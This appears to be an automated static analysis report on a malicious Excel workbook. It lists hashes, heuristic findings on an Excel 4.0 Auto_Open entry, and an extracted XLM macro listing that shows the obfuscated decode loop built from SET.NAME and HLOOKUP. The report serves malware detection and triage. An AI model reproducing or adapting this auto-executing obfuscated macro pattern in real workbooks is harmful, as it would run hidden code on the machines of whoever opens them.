Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 94a2038cd8dcb955…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:41:18 Authoring application: Microsoft Excel First seen: 2021-04-01
MD5: 23af605fe7fe0e73fc8ef3c3778968f5 SHA-1: 6b22f1d0a755e645fbfb1964099f973bb6918bb9 SHA-256: 94a2038cd8dcb9552fa54486b308cf6555d6ac7ffc9c8da08c8da800111df9e0
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6763 bytes
SHA-256: bb5588eaa43c8597a0912d0192df3308ce1786ce2b9b74e87e77e181264398e7
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  TcnHbhLcTm
' 0018     20 LABEL : Cell Value, String Constant - aAPrW len=0 
' 0018     21 LABEL : Cell Value, String Constant - ahTXJN len=0 
' 0018     23 LABEL : Cell Value, String Constant - aTyZCAfh len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B171 
' 0018     26 LABEL : Cell Value, String Constant - bjvGzVrZkTd len=0 
' 0018     26 LABEL : Cell Value, String Constant - EnIIIqMOANF len=0 
' 0018     23 LABEL : Cell Value, String Constant - ffgKUhla len=0 
' 0018     22 LABEL : Cell Value, String Constant - HHjfFVb len=0 
' 0018     22 LABEL : Cell Value, String Constant - IBzptlx len=0 
' 0018     20 LABEL : Cell Value, String Constant - IVbdF len=0 
' 0018     26 LABEL : Cell Value, String Constant - IvIklvcpHSQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - lxyef len=0 
' 0018     21 LABEL : Cell Value, String Constant - MPiyfG len=0 
' 0018     27 LABEL : Cell Value, String Constant - nLWtqQLAwdtY len=0 
' 0018     24 LABEL : Cell Value, String Constant - nPcEabvEh len=0 
' 0018     20 LABEL : Cell Value, String Constant - NVnez len=0 
' 0018     23 LABEL : Cell Value, String Constant - oZFzkUDr len=0 
' 0018     23 LABEL : Cell Value, String Constant - sOyXqgrM len=0 
' 0018     25 LABEL : Cell Value, String Constant - uIbPAADRUL len=0 
' 0018     21 LABEL : Cell Value, String Constant - UmAwoZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - XYXwDN len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  TcnHbhLcTm,B76,"SET.NAME("NVnez",0+VALUE("0"))",""
'  TcnHbhLcTm,B80,"SET.NAME("MPiyfG",NVnez)",""
'  TcnHbhLcTm,T81,"",107.00000000000000000000
'  TcnHbhLcTm,T82,"",794.00000000000000000000
'  TcnHbhLcTm,B83,"SET.NAME("sOyXqgrM",NVnez)",""
'  TcnHbhLcTm,T83,"",9.00000000000000000000
'  TcnHbhLcTm,T84,"",136.00000000000000000000
'  TcnHbhLcTm,T85,"",-555.00000000000000000000
'  TcnHbhLcTm,T86,"",-331.00000000000000000000
'  TcnHbhLcTm,B87,"SET.NAME("aTyZCAfh",COUNTA(aAPrW))",""
'  TcnHbhLcTm,B92,"SET.NAME("nPcEabvEh",COUNTA(UmAwoZ))",""
'  TcnHbhLcTm,B94,[],""
'  TcnHbhLcTm,B96,"SET.NAME("HHjfFVb","")",""
'  TcnHbhLcTm,B101,"MPiyfG",""
'  TcnHbhLcTm,B104,"SET.NAME("bjvGzVrZkTd",HLOOKUP("*",aAPrW,MPiyfG,FALSE))",""
'  TcnHbhLcTm,B109,"nLWtqQLAwdtY",""
'  TcnHbhLcTm,B112,"SET.NAME("uIbPAADRUL",NVnez)",""
'  TcnHbhLcTm,B116,[],""
'  TcnHbhLcTm,B118,"uIbPAADRUL",""
'  TcnHbhLcTm,B123,"IVbdF",""
'  TcnHbhLcTm,B127,"EnIIIqMOANF",""
'  TcnHbhLcTm,B129,"ahTXJN",""
'  TcnHbhLcTm,B134,"SET.NAME("ffgKUhla",VALUE(HLOOKUP("*",UmAwoZ,ahTXJN,FALSE)))",""
'  TcnHbhLcTm,B139,"IBzptlx",""
'  TcnHbhLcTm,B144,"HHjfFVb",""
'  TcnHbhLcTm,B148,"sOyXqgrM",""
'  TcnHbhLcTm,B150,NEXT(),""
'  TcnHbhLcTm,B153,"XYXwDN",""
'  TcnHbhLcTm,B156,[],""
'  TcnHbhLcTm,B160,"oZFzkUDr",""
'  TcnHbhLcTm,B165,NEXT(),""
'  TcnHbhLcTm,B167,RETURN(),""
'  TcnHbhLcTm,B197,"SET.NAME("lxyef",B76)",""
'  TcnHbhLcTm,B202,"aAPrW",""
'  TcnHbhLcTm,B207,"SET.NAME("UmAwoZ",R69C11)",""
'  TcnHbhLcTm,B211,"SET.NAME("oZFzkUDr",221)",""
'  TcnHbhLcTm,B215,"SET.NAME("IvIklvcpHSQ",2)",""
'  TcnHbhLcTm,B220,lxyef(),""
'  TcnHbhLcTm,B221,HALT(),""

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